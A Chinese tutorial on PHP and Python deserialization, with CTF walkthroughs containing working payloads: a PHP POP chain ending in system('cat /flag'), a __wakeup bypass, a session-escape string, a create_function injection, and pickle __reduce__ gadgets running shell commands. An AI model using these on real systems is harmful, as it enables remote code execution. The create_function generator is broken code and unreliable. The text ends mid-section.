PHP 序列化及反序列化基础¶
介绍¶
标题有说道,这两种数据处理方式, 序列化 和 反序列化。
- 序列化 是将 PHP 对象转换为字符串的过程,可以使用
serialize()函数来实现。该函数将对象的状态以及它的类名和属性值编码为一个字符串。序列化后的字符串可以存储在文件中,存储在数据库中,或者通过网络传输到其他地方。 - 反序列化 是将序列化后的字符串转换回 PHP 对象的过程,可以使用
unserialize()函数来实现。该函数会将序列化的字符串解码,并将其转换回原始的 PHP 对象。 - 序列化的目的是方便数据的存储,在PHP中,他们常被用到缓存、session、cookie等地方。
下面我们从数组的反序列化开始 一步一步讲解。
数组的反序列化¶
<?php
$username = array("tan","ji");
$username = serialize($username);
echo ($username. "\n");
print_r(unserialize($username));
var_dump(unserialize($username));
上面对数组的反序列化会输出:
a:2:{i:0;s:3:"tan";i:1;s:2:"ji";} ----- echo ($username. "\n");
Array -------------------------------- print_r(unserialize($username));
(
[0] => tan
[1] => ji
)
array(2) { ---------------------------- var_dump(unserialize($username));
[0]=>
string(3) "tan"
[1]=>
string(2) "ji"
}
在上面反序列化中的字符中,每个部分代表不同的属性:

以此类推ww
普通对象的反序列化¶
我们先看一个简单的对象示例:
该对象允许使用下面的语法创建:
下面我们对其进行序列化,并且输出出来:
可以得到下面的输出:

此时我们如果采用数组为姓名变量:
则再次运行,输出就变成了:

其实拆分开来没那么难理解。
然后我们针对上面的代码,添加点类中的其他属性,如:保护变量 私有变量 自定义函数
<?php
class User {
public $name;
protected $email;
private $phoneNumber;
public function __construct($name, $email,$phoneNumber) {
$this->name = $name;
$this->email = $email;
$this ->phoneNumber = $phoneNumber;
}
public function getPhoneNumber(){
echo $this ->phoneNumber;
}
}
$user = new User(array("tan","ji"), 'admin@probius.xyz','19191145148');
$serializedData = serialize($user);
echo $serializedData . "\n";
$deserializedUser = unserialize($serializedData);
print_r($deserializedUser -> name);
echo $deserializedUser -> getPhoneNumber();
?>
其输出为:
O:4:"User":3:{s:4:"name";a:2:{i:0;s:3:"tan";i:1;s:2:"ji";}s:8:" * email";s:17:"admin@probius.xyz";s:17:" User phoneNumber";s:11:"19191145148";}
Array
(
[0] => tan
[1] => ji
)
19191145148
为了方便理解,我们这样拆分一下:
O:4:"User":3:{s:4:"name";a:2:{i:0;s:3:"tan";i:1;s:2:"ji";}---- public $name;
s:8:" * email";s:17:"admin@probius.xyz";---------------------- protected $email;
s:17:" User phoneNumber";s:11:"19191145148";}----------------- private $phoneNumber;
观察不同类型变量名的字符长度标识,你会发现长度和你看到的好像有些不一样,那是因为在 protected 和 private类型的变量中都加入了不可见字符:
如果是 protected 变量,则会在变量名前加上\x00*\x00
如果是 private 变量,则会在变量名前加上\x00类名
或许下面控制台的输出比起上面不可见字符变成了类似""空格的字符更直观(虽然也直观不到哪里去。

所以一般我们在输出的时候都会先编码后输出,以免遇到保护和私有类序列化后不可见字符丢失的问题。
O:4:"User":3:{s:4:"name";a:2:{i:0;s:3:"tan";i:1;s:2:"ji";}---------- public $name;
s:8:"\x00*\x00email";s:17:"admin@probius.xyz";---------------------- protected $email;
s:17:"\x00User\x00phoneNumber";s:11:"19191145148";}----------------- private $phoneNumber;
echo urlencode($serializedData) :
自定义类的反序列化¶
如果我们把上面的类改成这样:
<?php
class User implements Serializable {
public $name;
protected $email;
private $phoneNumber;
public function __construct($name, $email, $phoneNumber) {
$this->name = $name;
$this->email = $email;
$this->phoneNumber = $phoneNumber;
}
public function serialize() {
return serialize([
'name' => $this->name,
'email' => $this->email,
'phoneNumber' => $this->phoneNumber,
]);
}
public function unserialize($serialized) {
$data = unserialize($serialized);
$this->name = $data['name'];
$this->email = $data['email'];
$this->phoneNumber = $data['phoneNumber'];
}
public function getPhoneNumber() {
echo $this->phoneNumber;
}
public function getEmail() {
return $this->email;
}
}
$user = new User(array("tan","ji"), 'admin@probius.xyz', '19191145148');
$serializedData = serialize($user);
echo $serializedData . "\n";
$deserializedUser = unserialize($serializedData);
print_r($deserializedUser->name);
echo $deserializedUser->getPhoneNumber() . "\n";
echo $deserializedUser->getemail() . "\n";
在User类中,通过 class User implements Serializable 中的 Serializable 接口,我们可以定义serialize() 和 unserialize() 两个方法,实现控制类实例在序列化和反序列化过程中的行为。
这两个方法分别负责将类实例的属性序列化为字符串和从字符串中还原属性。
当我们使用全局的 serialize() 和 unserialize() 函数时,这些方法会自动调用,从而让我们更好地控制序列化和反序列化过程。这也是该类型的类叫做 "CustomObject"的原因。
当我们运行上面的程序时,控制台输出如下:
C:4:"User":125:{a:3:{s:4:"name";a:2:{i:0;s:3:"tan";i:1;s:2:"ji";}s:5:"email";s:17:"admin@probius.xyz";s:11:"phoneNumber";s:11:"19191145148";}} ---------------------------------------------------- echo $serializedData . "\n";
Array ------------------------------------------------ print_r($deserializedUser->name);
(
[0] => tan
[1] => ji
)
19191145148 ------------------------------------------ echo $deserializedUser->getPhoneNumber() . "\n";
admin@probius.xyz ------------------------------------ echo $deserializedUser->getemail() . "\n";
其格式大致为:C:<className length>:"<class name>":<data length>:{<data>}
为了方便理解,我们这样同样拆分一下:

其他标识¶
除了上面常见的几个序列化字母标识外,还有其他标识,这里我们一起总结一下:
- a:array 数组
- b:boolean bool值
- C:custom object 自定义对象序列化
使用 Serializable 接口定义了序列化和反序列化方法的类
- d:double 小数
- i:integer 整数
- o:commonObject 对象
- O:Object 对象
- r:reference 对象引用 && R:pointer reference 指针引用
<?php
class A{
}
class B{
public $ClassA;
public $refer;
public $pointer;
public function __construct(){
$this->ClassA = new A();
$this->refer = $this->ClassA;
$this->pointer = &$this->ClassA;
}
}
$a = new B();
echo serialize($a);
控制台输出:

此外,引用对象的属性值取决于声明顺序。
<?php
class A{
}
class C{
}
class B{
public $ClassA;
public $ClassC;
public $pointer_1;
public $pointer_2;
public $refer;
public function __construct(){
$this->ClassA = new A();
$this->ClassC = new C();
$this->refer = $this->ClassA;
$this->pointer_1 = &$this->ClassA;
$this->pointer_2 = &$this->ClassC;
}
}
$a = new B();
echo serialize($a);
// ----------------------- 当改变ClassA / C 的声明顺序的时候输出如下:
// O:1:"B":5:{s:6:"ClassC";O:1:"C":0:{}s:6:"ClassA";O:1:"A":0:{}s:9:"pointer_1";R:3;s:9:"pointer_2";R:2;s:5:"refer";r:3;}
// O:1:"B":5:{s:6:"ClassA";O:1:"A":0:{}s:6:"ClassC";O:1:"C":0:{}s:9:"pointer_1";R:2;s:9:"pointer_2";R:3;s:5:"refer";r:2;}
- s:string 字符串
- S:encoded string
- N:null NULL值
魔术方法¶
在 PHP 的序列化中,魔术方法(Magic Methods)是一组特殊的方法,这些方法以双下划线(__)作为前缀,可以在特定的序列化阶段触发从而使开发者能够进一步的控制 序列化 / 反序列化 的过程。
你可以在PHP官方文档中查找到对应魔术方法的定义和使用方法:PHP: 魔术方法 - Manual
一般在题目中常见的几个方法如下:
__wakeup() //------ 执行unserialize()时,先会调用这个函数
__sleep() //------- 执行serialize()时,先会调用这个函数
__destruct() //---- 对象被销毁时触发
__call() //-------- 在对象上下文中调用不可访问的方法时触发
__callStatic() //-- 在静态上下文中调用不可访问的方法时触发
__get() //--------- 用于从不可访问的属性读取数据或者不存在这个键都会调用此法
__set() //--------- 用于将数据写入不可访问的属性
__isset() //------- 在不可访问的属性上调用isset()或empty()触发
__unset() //------- 在不可访问的属性上使用unset()时触发
__toString() //---- 把类当作字符串使用时触发
__invoke() //------ 当尝试将对象调用为函数时触发
一份比较全面的表格:
| magicMethods | attribute |
|---|---|
| __construct | 当一个对象被创建时自动调用这个方法,可以用来初始化对象的属性。 |
| __destruct | 当一个对象被销毁时自动调用这个方法,可以用来释放对象占用的资源。 |
| __call | 在对象中调用一个不存在的方法时自动调用这个方法,可以用来实现动态方法调用。 |
| __callStatic | 在静态上下文中调用一个不存在的方法时自动调用这个方法,可以用来实现动态静态方法调用。 |
| __get | 当一个对象的属性被读取时自动调用这个方法,可以用来实现属性的访问控制。 |
| __set | 当一个对象的属性被设置时自动调用这个方法,可以用来实现属性的访问控制。 |
| __isset | 当使用 isset() 或 empty() 测试一个对象的属性时自动调用这个方法,可以用来实现属性的访问控制。 |
| __unset | 当使用 unset() 删除一个对象的属性时自动调用这个方法,可以用来实现属性的访问控制。 |
| __toString | 当一个对象被转换为字符串时自动调用这个方法,可以用来实现对象的字符串表示。 |
| __invoke | 当一个对象被作为函数调用时自动调用这个方法,可以用来实现对象的可调用性。 |
| __set_state | 当使用 var_export() 导出一个对象时自动调用这个方法,可以用来实现对象的序列化和反序列化。 |
| __clone | 当一个对象被克隆时自动调用这个方法,可以用来实现对象的克隆。 |
| __debugInfo | 当使用 var_dump() 或 print_r() 输出一个对象时自动调用这个方法,可以用来控制对象的调试信息输出。 |
| __sleep | 在对象被序列化之前自动调用这个方法,可以用来控制哪些属性被序列化。 |
| __wakeup | 在对象被反序列化之后自动调用这个方法,可以用来重新初始化对象的属性。 |
PHP官方文档已经很详细了,这里不再赘述,不一定需要学会所有的函数,除开常见的,其他的在遇到的时候查阅即可。
对魔术方法的一些补充¶
探老师写的反序列化方法已经很详细了,这里简单对一些方法进行补充。
__wakeup()¶
当使用unserialize时被调用,可用于做些对象的初始化操作(unserialize触发)
继续修改上面的代码,我们添加一个 __wakeup() 方法
如果我们没有对 __construct中的 $oneFive 变量做过滤的话,unserialize在执行完后时会自动调用__wakeup()的,所以__wakeup()一般在赛场上做过滤(可以绕过),实际开发应该用于对象反序列化后对其状态进行恢复

接下来我们在__wakeup()里加入一些过滤方法,来看看怎么利用__wakeup()函数失效(CVE-2016-7124)来绕过这个函数
class DingZhen
{
public $oneFive;
public function __construct($oneFive)
{
$this->oneFive = $oneFive;
}
public function __destruct()
{
echo exec($this->oneFive) . ": I got smoke.";
}
public function __wakeup(){
// 实际开发别这样写
if (preg_match("/\b(exec|system)\b/i", "", $this->oneFive)){
echo $this->oneFive;
}
}
}
将序列化后的数据的参数数量+1即可

加了一后,正常运行

__sleep()¶
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。(serialize)
注意:__sleep()只能返回数组
<?php
class Example {
public function __sleep() {
return ['data'];
}
}
$a = new Example();
$a->data = 'flag';
$b = serialize($a);
echo $b;
很好理解
__destruct()¶
__destruct 函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
<?php
class DingZhen
{
public $oneFive;
public function __construct($oneFive)
{
$this->oneFive = $oneFive;
}
public function session1(){
echo "1\n";
}
public function __destruct()
{
echo "Done!";
}
}
$a = new DingZhen("ls");
$a->session1();
很好理解

__toString()¶
方法用于一个类被当成字符串时应怎样回应。例如
echo $obj;应该显示些什么。
很好理解
<?php
class Example {
public $data;
public function __construct($data){
$this->data = data;
}
public function __toString() {
return eval($this->data);
}
}
$a = 'O:7:"Example":1:{s:4:"data";s:10:"phpinfo();";}';
$b = unserialize($a);
$c = $b; // 注意这里
echo $c; // 注意这里

__invoke()¶
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
<?php
class Example {
public $data;
public function __construct($data){
$this->data = data;
}
public function __invoke(){
eval($this->data);
}
}
$a = 'O:7:"Example":1:{s:4:"data";s:10:"phpinfo();";}';
$b = unserialize($a);
$b();
非常好理解👍

__construct()¶
PHP 允许开发者在一个类中定义一个方法作为 构造函数(__construct)。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作
<?php
class Example{
private $a;
private $b;
private $c;
public function __construct($a, $b, $c)
{
$this->a = $a;
$this->b = $b;
$this->c = $c;
}
public function getAll(){
return "A: " . $this->a . "\n" .
"B: " . $this->b . "\n" .
"C: " . $this->c . "\n";
}
}
$a = new Example("我是", "理塘", "丁真");
echo $a->getAll();
很好理解,他将输出
__destruct()¶
PHP 有 析构函数(__destruct)的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
<?php
class Example{
private $a;
private $b;
private $c;
public function __construct($a, $b, $c)
{
$this->a = $a;
$this->b = $b;
$this->c = $c;
}
public function getAll(){
return "A: " . $this->a . "\n" .
"B: " . $this->b . "\n" .
"C: " . $this->c . "\n";
}
public function __destruct(){
$this->a = "一";
$this->b = "五";
$this->c = "!";
echo "A: " . $this->a . "\n" .
"B: " . $this->b . "\n" .
"C: " . $this->c . "\n";
}
}
$a = new Example("我是", "理塘", "丁真");
echo $a->getAll();
很好理解,这将输出
__call()和__callStatic()¶
在对象中调用一个不可访问方法时,__call() 会被调用。
在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
很好理解
<?php
class Example{
public function __call($name, $arguments)
{
// 注意: $name 的值区分大小写
echo "Calling object method '$name' "
. implode(', ', $arguments). "\n";
}
public static function __callStatic($name, $arguments)
{
// 注意: $name 的值区分大小写
echo "Calling static method '$name' "
. implode(', ', $arguments). "\n";
}
}
$obj = new Example();
$obj->fuck('me');
Example::mother('fuck');
非常好理解,爱来自我❤
属性重载¶
- 在给不可访问(protected 或 private)或不存在的属性赋值时,__set() 会被调用。
- 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。
- 当对不可访问(protected 或 private)或不存在的属性调用 isset() 或 empty() 时,__isset() 会被调用。
- 当对不可访问(protected 或 private)或不存在的属性调用 unset() 时,__unset() 会被调用。
这一块没什么好说的,但在POP链反序列化里会比较常见,建议自己到官网看看。
实战¶
PHP 字符串序列化¶

打开网页登录界面,题目说登录不进去,尝试找找其他线索

在 CSS 文件中找到注释

URL 跟上参数拿到源码
我们在 Cookie 的 BUGKU 参数中传入序列化后的值

找个在线生成的网站即可

BurpSuite 拦截抓包修改拿到 flag

PHP 反序列化之 __toString() 魔术方法¶

打开网页给出源码

class GIT {
public $username;
public $password;
// 初始化用户名为 'guest',密码为 'Welcome to GITCTF!'
public function __construct(){
$this->username = 'guest';
$this->password = 'Welcome to GITCTF!';
}
// 如果用户名为 'ZeroZone',则输出密码;否则输出提示信息
public function __destruct(){
if($this->username == 'ZeroZone'){
echo $this->password;
}
else{
echo 'ZeroZone Lab new bee !';
}
}
}
class ZeroZone {
public $code;
// 当对象被当作字符串使用时自动调用
public function __toString(){
if(isset($this->code)){
eval($this->code);
return '';
}
else{
echo "代码呢?";
return '';
}
}
}
// 创建一个新的 GIT 类实例
$data = new GIT();
if(isset($_POST['data'])){
$data = unserialize($_POST['data']);
}
让 $data->username == 'ZeroZone',并让 $data->password
由于 __destruct() 会输出 $data->password,如果能让 $data->password 为一个 ZeroZone 对象,并且触发 __toString(),就可以执行任意代码
<?php
class GIT {
public $username;
public $password;
}
class ZeroZone {
public $code;
}
// 构造恶意对象链
$zero = new ZeroZone();
$zero->code = "system('cat /flag');";
$git = new GIT();
// 触发密码输出条件
$git->username = 'ZeroZone';
// 触发__toString() 方法
$git->password = $zero;
// 生成payload
echo serialize($git);
?>

PHP & 引用相同内存¶

打开靶场给出源码
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
md5 绕过很简单,科学计数法及数组绕过都可以
这才来到最关键的地方,如何在序列化前让 $this->correct === $this->input 呢?
我们创建 BUU 类后,重新给 $this->correct 赋值成 $this->input 的值
在 PHP 中,& 表示 引用赋值,效果是:
两个变量或者属性同时指向同一块内存,任何一方变化,另一方立刻同步变化
<?php
class BUU {
public $correct;
public $input;
}
$fun = new BUU();
// 让 $b1->correct 和 $b1->input 两个属性引用同一块内存地址,即:它们两个绑定为同一个变量
$fun->input = &$fun->correct;
$res = serialize(@$fun);
echo $res;
?>

PHP POP 链¶

__call() 魔术方法:当调用对象不存在的方法时,会触发该方法
__wakeup() 魔术方法:当对象反序列化时,会触发该方法终止脚本执行
__invoke() 魔术方法:允许对象作为函数被调用
__set() 魔术方法:当给不可访问的属性赋值时会触发
__get() 魔术方法:当访问不可访问的属性时会触发 __destruct
__construct() 构造函数:在对象被实例化后立即执行
__destruct() 魔术方法:当对象生命周期结束时自动触发
__toString() 魔术方法:当对象被当作字符串使用时自动调用
<?php
highlight_file(__FILE__);
error_reporting(0);
class Happy{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __call($name, $arguments)
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
die("Wishes can be fulfilled");
}
}
class Nevv{
private $happiness;
public function __invoke()
{
return $this->happiness->check();
}
}
class Rabbit{
private $aspiration;
public function __set($name,$val){
return $this->aspiration->family;
}
}
class Year{
public $key;
public $rabbit;
public function __construct($key)
{
$this->key = $key;
}
public function firecrackers()
{
return $this->rabbit->wish = "allkill QAQ";
}
public function __get($name)
{
$name = $this->rabbit;
$name();
}
public function __destruct()
{
if ($this->key == "happy new year") {
$this->firecrackers();
}else{
print("Welcome 2023!!!!!");
}
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
}else {
echo "过新年啊~过个吉祥年~";
}
?>
首先传入 Year 中的 $key="happy new year"
条件成立调用 firecrackers 方法
但 Rabbit 中 wish 不存在,所以调用 get 魔法方法
此时 $name() 对象被当成函数访问,类型实际上是 Rabbit 对象
但 invoke 方法实际上是调用了 Nevv
因为 check() 是个方法不存在,所以调用了 call 方法
$a 和 \(b 是两个 Year 对象,\)c 是一个 Rabbit 对象
它的构造函数接受 $b(另一个 Year 对象)作为参数
这意味着 Rabbit 对象 $c 会持有 $b 对象
$e 是一个 Happy 对象用于执行系统命令
将 Rabbit 对象 $c 赋值给 $a->rabbit
将 Nevv 对象 $d 赋值给 $b->rabbit
将 Nevv 对象 $d 赋值给 $b->rabbit
Year 对象的 $rabbit 属性会被赋值为 Rabbit 对象
而 Rabbit 对象的 $aspiration 属性会被赋值为 Year 对象,依此类推
<?php
class Happy
{
private $cmd = "system";
private $content = "cat /flag";
}
class Nevv
{
private $happiness;
public function __construct($happiness)
{
$this->happiness = $happiness;
}
}
class Rabbit
{
private $aspiration;
public function __construct($aspiration)
{
$this->aspiration = $aspiration;
}
public function __set($name, $val)
{
return @$this->aspiration->family;
}
}
class Year
{
public $key = "happy new year";
public $rabbit;
}
$result = new Year();
$year1 = new Year();
$year1->rabbit = new Nevv(new Happy());
$rabbit1 = new Rabbit($year1);
$result->rabbit = $rabbit1;
$rabbit1->aspiration = 1;
$result=serialize($result);
echo urlencode($result);
Year::__destruct()
└── firecrackers()
└── Rabbit::__set("wish", "allkill QAQ")
└── aspiration->family (aspiration 是 Year)
└── Year::__get("family")
└── this->rabbit() (rabbit 是 Nevv)
└── Nevv::__invoke()
└── happiness->check() (happiness 是 Happy)
└── Happy::__call("check", [])
└── call_user_func($cmd, $content)
拿到 flag

PHP 个数不等绕过__wakeup()¶

打开网页给出了备份提示

扫后台发现 ZIP 文件

下载下来打开 index.php 拿到源码(flag.php 是假的)

看到了反序列化,接下来去看 class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
我们需要传入 username = admin,password = 100,于是构造反序列化
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
还没有结束,因为类的两个属性声明为 private,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见
所以要在此基础上补上 %00 的空字符
最后是绕过 __wakeup()
当反序列化中对象属性的个数和真实的个数不等时,__wakeup() 就会被绕过,所以修改使其不相等即可

PHP 反序列化字符逃逸¶

打开网页拿到源码
<?php
// 需要以 get 方式传入f参数
$function = @$_GET['f'];
// 对 $img(形参)进行过滤,后缀不允许出现 'php','flag','php5','php4','fl1g'
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
// unset() 销毁指定的变量。
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
// 本题的作用是将 _SESSION 的两个函数变为 post 传参
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
// 对$_SESSION进行一些过滤
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
首先让参数f等于 “phpinfo”,因为题目提示说这里可能会找到些东西

很明显是要读取这个文件,代码里读取文件的地方在这里
if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
反序列化字符串逃逸的原理:
首先康康反序列化结果长啥样
<?php
$_SESSION["user"] = '*';
$_SESSION['function'] = '**';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
// a:3:{s:4:"user";s:1:"*";s:8:"function";s:2:"**";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
那么我们如果想要读取 d0g3_f1ag.php 文件的内容就需要令反序列化后的
则初步反序列化内容
再看到 $serialize_info = filter(serialize($_SESSION));
先经过序列化,然后在进行 filter 函数,也就是过滤替换操作
这样的话就很有可能会造成序列化字符串逃逸的问题
首先默认的序列化数据是
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:14:"highlight_file";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
这里可以控制的部分是 user 和 function 的内容
于是要利用过滤,用 user 吃掉后面的,加 ; 闭合掉前面的键值 function
之后在 function 的部分便可以写入数据控制后面的内容了
要吃掉的数据一共是 22 个,于是 user 的值为 phpphpphpphpphpphpflag
_SESSION[function] 的值为
这里要保证数组内的个数相等,所以要传入两个值,于是构造利用 payload
_SESSION[user]=flagflagflagflagphpphp&_SESSION[function]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"f";s:1:"a";}
由于 _SESSION 数组有 3 个值,则需要在后面补充随便一个值即可
传入后 $serialize_info 的就为以下值
a:3:{s:4:"user";s:22:"";s:8:"function";s:34:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
随后再读取 s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
随后大括号闭合
后面的 ";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} 值丢弃
读取到 d0g3_f1ag.php 内容为
再依法读取 /d0g3_fllllllag 即可
_SESSION[user]=flagflagflagflagphpphp&_SESSION[function]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"f";s:1:"a";}

Python Pickle 反序列化之 subprocess¶

提示了源码在 /src 目录,直接访问

import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64
app = Flask(__name__)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")
class User:
def __init__(self, username, password, auth='ctfer'):
self.username = username
self.password = password
self.auth = auth
password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")
@app.route('/')
def index():
return "Welcome to my application"
@app.route('/login', methods=['GET', 'POST'])
def post_login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin' :
if password == admin.password:
session['username'] = "admin"
return "Welcome Admin"
else:
return "Invalid Credentials"
else:
session['username'] = username
return '''
<form method="post">
<!-- /src may help you>
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
'''
@app.route('/ppicklee', methods=['POST'])
def ppicklee():
data = request.form['data']
sys.modules['os'] = "not allowed"
sys.modules['sys'] = "not allowed"
try:
pickle_data = base64.b64decode(data)
for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
'compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:
if i.encode() in pickle_data:
return i+" waf !!!!!!!"
pickle.loads(pickle_data)
return "success pickle"
except Exception as e:
return "fail pickle"
@app.route('/admin', methods=['POST'])
def admin():
username = session['username']
if username != "admin":
return jsonify({"message": 'You are not admin!'})
return "Welcome Admin"
@app.route('/src')
def src():
return open("app.py", "r",encoding="utf-8").read()
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5000)
/ppicklee路由只支持POST方法。- 从表单中获取
data字段,并进行 Base64 解码。 - 通过
sys.modules禁用os和sys模块。 - 检查反序列化数据中是否包含黑名单中的关键字,如果包含则返回错误信息。
- 如果数据通过检查,则尝试反序列化数据,成功返回
success pickle,失败返回fail pickle
因为题目告诉了我们 flag 在 /flag下,且其 src 路由会读取文件 app.py 内容并输出
因为禁用了 os 和 sys 模块,所以我们使用另一个模块 subprocess 执行系统命令
import pickle
import base64
import subprocess
# __reduce__ 方法: 这是 pickle 模块中的一个特殊方法,用于定义对象在序列化时的行为,它返回一个元组,包含一个可调用对象(通常是函数)及其参数
# subprocess.check_output: 这是一个函数,用于执行系统命令并返回输出
class A():
def __reduce__(self):
return subprocess.check_output, (["cp", "/flag", "/app/app.py"],)
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

访问 src 目录拿到 flag

Python Pickle 反序列化之 commands¶

打开网页给出提示

网页太多了,用脚本去找
import requests
url="http://30b74212-bc6f-465c-8b60-d9aeaa215b75.node4.buuoj.cn:81/shop?page="
for i in range(0,2000):
print(i)
r=requests.get( url + str(i) )
if 'lv6.png' in r.text:
print (i)
break

找到后购买钱不够,修改前端代码的折扣

购买后显示只能 admin 访问

查看 Cookies 发现有 JWT

使用工具破解密钥

去在线网站生成 admin 的 JWT

替换掉刷新网页

点击后没反应,查看源代码有压缩文件

下载后拿到源码
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
become 参数存在 Pickle 反序列化漏洞
import pickle
import urllib
import commands
# commands.getoutput 是一个函数,用于执行系统命令并返回输出
class Try(object):
def __reduce__(self):
return (commands.getoutput, ('cat /flag.txt',))
a = Try()
print(urllib.quote(pickle.dumps(a)))
替换为脚本生成的序列化代码拿到 flag

PHP Create_function() 反序列化¶

打开网页给出了源码
<?php
if (isset($_GET['p'])) {
$p = unserialize($_GET['p']);
}
show_source("index.php");
class Noteasy
{
private $a;
private $b;
// 构造函数,会在类的对象在创建时自动调用
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a.$b);
eval($a.$b);
}
// 析构函数,在对象销毁时自动调用
public function __destruct()
{
$a = (string)$this->a;
$b = (string)$this->b;
$this->check($a.$b);
$a("", $b);
}
private function check($str)
{
if (preg_match_all("(ls|find|cat|grep|head|tail|echo)", $str) > 0) die("You are a hacker, get out");
}
public function setAB($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
首先,反序列化不调用构造函数
因为反序列化时通过读取对象的字节流来恢复对象的状态,而不是通过调用对象的构造函数来创建对象
所以直接来看析构函数
public function __destruct()
{
// 将属性 $a 转换为字符串
$a = (string)$this->a;
// 将属性 $b 转换为字符串
$b = (string)$this->b;
// 调用 check 方法,传入 $a 和 $b 连接后的字符串
$this->check($a.$b);
// 重点代码
// 将 $a 作为函数调用,第一个参数为空字符串,第二个参数为 $b
$a("", $b);
}
但是空的的函数不能执行,所以我们要构造一个
这里要利用 Create_function() 函数
create_function 实际上会在内部执行以下操作:
- 生成一个唯一的函数名(如
__lambda_func) - 用给定的参数和代码体创建一个新函数
- 返回这个函数名以便后续调用
构造序列化代码
<?php
Class Noteast{
Private $a;
Private $b;
Public function_construct($a,$b){
$this->a=$a;
$this->b=$b;
}
$object=new Noteasy("create_function",';}highlight_file("/flag");/*;');
Echo serialize($object);
}
这样相当于
实际创建的代码为
得到
O:7:"Noteasy":2:{s:10:"Noteasya";s:15:"create_function";s:10:"Noteasyb";s:21:';}highlight_file("/flag");/*;";}
需要注意因为是 private 属性,所以不能直接使用
应该为 \00类名\00
O:7:"Noteasy":2:{s:10:"\00Noteasy\00a";s:15:"create_function";s:10:"\00Noteasy\00b";s:29:";}highlight_file("/flag");/*";}

PHP %00 绕过 Private¶

打开网页给出了备份提示

扫后台发现 ZIP 文件

下载下来打开 index.php 拿到源码(flag.php 是假的)

看到了反序列化,接下来去看 class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
